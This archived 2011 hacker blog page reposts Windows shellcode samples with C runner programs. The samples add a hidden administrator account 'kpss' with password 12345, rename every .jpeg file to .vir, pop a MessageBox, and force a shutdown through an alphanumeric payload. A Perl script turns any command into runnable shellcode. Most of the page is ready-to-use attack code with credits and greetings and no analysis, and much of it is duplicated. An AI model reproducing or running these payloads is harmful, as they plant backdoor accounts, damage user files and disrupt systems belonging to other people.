( ';')< "ЦΓΤІШΛΤΞ ΠΛΡΣΤЯ": 8 Aug 2011

Monday, August 08, 2011

download & execute file via reverse DNS channel

Add Admin Shellcode 112 bytes

# Title : win32/PerfectXp-pc1/sp3 (Tr) Add Admin Shellcode 112 bytes
    # Author : KaHPeSeSe
    # Screenshot : http://i53.tinypic.com/289yamq.jpg
    # Desc. : usr: kpss , pass: 12345 , localgroup: Administrator
    # Tested on : PERFECT XP PC1 / SP3
    # Date : 18/07/2011
    # Not : a.q kpss :((

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>

    int main(){

      unsigned char shellcode[]=
      "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4e\x53\xbb\x0d\x25\x86\x7c"
      "\xff\xd3\x31\xc0\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
      "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
      "\x65\x72\x20\x6b\x70\x73\x73\x20\x31\x32\x33\x34\x35\x20\x2f\x61\x64"
      "\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
      "\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
      "\x20\x2f\x61\x64\x64\x20\x6b\x70\x73\x73";

      printf("Size = %d bytes\n", strlen(shellcode));

      ((void (*)())shellcode)();



      return 0;
    }

Add Admin Shellcode 112 bytes

Win32 / Windows7 Sp1 - rename .jpeg to .vir

# Exploit Title: Win32 / Windows7 Sp1 - rename .jpeg to .vir (57 bytes)
    # Date: July, 23 2011
    # Author: Theuzuki.'
    # Vendor or Software Link: -
    # Version: -
    # Category:: shellcodes
    # Google dork: -
    # Tested on: Windows 7 sp 1
    # Demo site: -

    ==================================================
    Made by:

    ___________.__ ____ ___ __ .__
    \__ ___/| |__ ____ | | \__________ __| | _|__|
      | | | | \_/ __ \| | /\___ / | \ |/ / |
      | | | Y \ ___/| | / / /| | / <| |
      |____| |___| /\___ >______/ /_____ \____/|__|_ \__|
      \/ \/Rats Crew \/ TheCod3r \/



    Mail: Uzuki@live.de
    Website: www.thecoder.co.tv
    Nicknames: TheUzuki.' / TheCod3r
    Greeting: TheRats Crew
    ==================================================

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>

    char code[] = "\xeb\x16\x5b\x31\xc0\x50"
    "\x53\xbb\x39\xe7\x99\x75\xff\xd3\x31\xc0"
    "\x50\xbb\x6f\x2a\x96\x75\xff\xd3\xe8\xe5"
    "\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65"
    "\x20\x52\x45\x4e\x20\x2a\x2e\x6a\x70\x65"
    "\x67\x20\x2a\x2e\x76\x69\x72\x00";

    int main(int argc, char **argv)
    {
      ((void (*)())code)();
      printf("Renaming all .jpeg files to .vir files");
      return 0;
    }

Win32 / Windows7 Sp1 - rename .jpeg to .vir

win32/ 7 sp1 MessageBox

# Exploit Title: win32/ 7 sp1 MessageBox
    # Date: July, 23 2011
    # Author: Theuzuki.'
    # Vendor or Software Link: -
    # Version: -
    # Category:: shellcodes
    # Google dork: -
    # Tested on: Windows 7 sp 1
    # Demo site: -

    ==================================================
    Discovered by:

    ___________.__ ____ ___ __ .__
    \__ ___/| |__ ____ | | \__________ __| | _|__|
      | | | | \_/ __ \| | /\___ / | \ |/ / |
      | | | Y \ ___/| | / / /| | / <| |
      |____| |___| /\___ >______/ /_____ \____/|__|_ \__|
      \/ \/ Rats Crew \/ TheCod3r\/

    Mail: Uzuki@live.de
    Website: www.thecoder.co.tv
    Nicknames: TheUzuki.' / TheCod3r
    Greeting: TheRats Crew
    ==================================================

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>

    char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x04\x28\x96\x75\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\xd7\x17\x96\x75\xff\xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x6f\x2a\x96\x75\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xff\x54\x65\x73\x65\x64\x20\x66\x6f\x72\x20\x48\x61\x63\x6b\x69\x6e\x67\x20\x77\x69\x6e\x37\x20\x2d\x20\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00";

    int main(int argc, char **argv)
    {
      ((void (*)())code)();
      printf("Printing MsgBox with Tesed for Hacking win7 - MessageBox");
      return 0;
    }

win32/ 7 sp1 MessageBox

Command Execution exploit/shellcode

#!/usr/bin/perl

system("cls");

sub logo(){

print q'

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

1                      ______                                          0

0                   .-"      "-.                                       1

1                  / KedAns-Dz  \ =-=-=-=-=-=-=-=-=-=-=-|              0

0 Algerian HaCker |              | > Site : 1337day.com |              1

1 --------------- |,  .-.  .-.  ,| > Twitter : @kedans  |              0

0                 | )(_o/  \o_)( | > ked-h@hotmail.com  |              1

1                 |/     /\     \| =-=-=-=-=-=-=-=-=-=-=|              0

0       (@_       (_     ^^     _)  HaCkerS-StreeT-Team                1

1  _     ) \_______\__|IIIIII|__/_______________________               0

0 (_)@8@8{}<________|-\IIIIII/-|________________________>              1

1        )_/        \          /                                       0

0       (@           `--------` © 2011, Inj3ct0r Team                  1

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0

0 Windows/32bit - Command Execution Exploit/ShellCode - 44 Bytes + CMD 1

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0

';

}

logo();

###

# Title : win32/xp sp3 Command Execution exploit/shellcode - 44 Bytes + CMD

# Author : KedAns-Dz

# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com

# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)

# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com

# Twitter page : twitter.com/kedans

# platform : win32

# Impact : Command Execution / Shellcode maker

# Tested on : Windows XP sp3 Fr

###

# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends 

###

$ARGC=@ARGV;

if ($ARGC!=1) { 

   print "\n [!] Usage: perl $0 [Command] \n\n"; 

   die " [*] f.ex: perl $0 shutdown -s -t 18 \n"; 

}

my $CMD = shift;

my $header = q'

#include <stdio.h>

#include <string.h>

#include <stdlib.h>



int main(){

    

    unsigned char shellcode[]=

';

my $sh = q'

"\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x29\x53\xbb\xad\x23\x86\x7c".

"\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff".

"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20'.$CMD.'"';

my $end = q'



    printf("Size = %d bytes\n", strlen(shellcode));

 

    ((void (*)())shellcode)();

 

    return 0;

}

';



print $header.$sh.$end;

Command Execution exploit/shellcode

#!/usr/bin/perl

system("cls");

sub logo(){

print q'

0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

1                      ______                                          0

0                   .-"      "-.                                       1

1                  / KedAns-Dz  \ =-=-=-=-=-=-=-=-=-=-=-|              0

0 Algerian HaCker |              | > Site : 1337day.com |              1

1 --------------- |,  .-.  .-.  ,| > Twitter : @kedans  |              0

0                 | )(_o/  \o_)( | > ked-h@hotmail.com  |              1

1                 |/     /\     \| =-=-=-=-=-=-=-=-=-=-=|              0

0       (@_       (_     ^^     _)  HaCkerS-StreeT-Team                1

1  _     ) \_______\__|IIIIII|__/_______________________               0

0 (_)@8@8{}<________|-\IIIIII/-|________________________>              1

1        )_/        \          /                                       0

0       (@           `--------` © 2011, Inj3ct0r Team                  1

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0

0 Windows/32bit - Command Execution Exploit/ShellCode - 44 Bytes + CMD 1

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0

';

}

logo();

###

# Title : win32/xp sp3 Command Execution exploit/shellcode - 44 Bytes + CMD

# Author : KedAns-Dz

# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com

# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)

# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com

# Twitter page : twitter.com/kedans

# platform : win32

# Impact : Command Execution / Shellcode maker

# Tested on : Windows XP sp3 Fr

###

# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends 

###

$ARGC=@ARGV;

if ($ARGC!=1) { 

   print "\n [!] Usage: perl $0 [Command] \n\n"; 

   die " [*] f.ex: perl $0 shutdown -s -t 18 \n"; 

}

my $CMD = shift;

my $header = q'

#include <stdio.h>

#include <string.h>

#include <stdlib.h>



int main(){

    

    unsigned char shellcode[]=

';

my $sh = q'

"\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x29\x53\xbb\xad\x23\x86\x7c".

"\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff".

"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20'.$CMD.'"';

my $end = q'



    printf("Size = %d bytes\n", strlen(shellcode));

 

    ((void (*)())shellcode)();

 

    return 0;

}

';



print $header.$sh.$end;

Alphanumeric Shutdown 18s

/*



# Title : win32/xp sp3 Alphanumeric Shutdown 18s - Shellcode - 534 Bytes



# Author : KedAns-Dz

# E-mail : ked-h@hotmail.com | ked-h@exploit-id.com



# Impact : Shutdown at 18 s [~ CMD : shutdown -s -t 18]



# Tested on : Windows XP sp3 Fr



*/





#include <stdio.h>





char shell[]=

"\x89\xE3" // MOV EBX,ESP



"\xDB\xC2" // FCMOVNB ST,ST(2)



"\xD9\x73\xF4" // FSTENV (28-BYTE) PTR DS:[EBX-C]



"\x5E" // POP ESI



// Start Alphanumeric Payload



"VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"



"THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"



"QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"



"CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"



"NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA";



// End Payload

int 



main(int argc, char **argv) {

   int *ret;

 

   ret = (int *)&ret + 2;

  (*ret) = (int) shell;

}

Alphanumeric Shutdown 18s

/*



# Title : win32/xp sp3 Alphanumeric Shutdown 18s - Shellcode - 534 Bytes



# Author : KedAns-Dz

# E-mail : ked-h@hotmail.com | ked-h@exploit-id.com



# Impact : Shutdown at 18 s [~ CMD : shutdown -s -t 18]



# Tested on : Windows XP sp3 Fr



*/





#include <stdio.h>





char shell[]=

"\x89\xE3" // MOV EBX,ESP



"\xDB\xC2" // FCMOVNB ST,ST(2)



"\xD9\x73\xF4" // FSTENV (28-BYTE) PTR DS:[EBX-C]



"\x5E" // POP ESI



// Start Alphanumeric Payload



"VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"



"THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"



"QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"



"CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"



"NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA";



// End Payload

int 



main(int argc, char **argv) {

   int *ret;

 

   ret = (int *)&ret + 2;

  (*ret) = (int) shell;

}

( ';')< "ЦΓΤІШΛΤΞ ΠΛΡΣΤЯ"

Tag Cloud

Pages

Monday, August 08, 2011

download & execute file via reverse DNS channel

download & execute file via reverse DNS channel

Add Admin Shellcode 112 bytes

Add Admin Shellcode 112 bytes

Win32 / Windows7 Sp1 - rename .jpeg to .vir

Win32 / Windows7 Sp1 - rename .jpeg to .vir

win32/ 7 sp1 MessageBox

win32/ 7 sp1 MessageBox

Command Execution exploit/shellcode

Command Execution exploit/shellcode

Alphanumeric Shutdown 18s

Alphanumeric Shutdown 18s

Geo IP Location

BlogSearch:

Blog Visited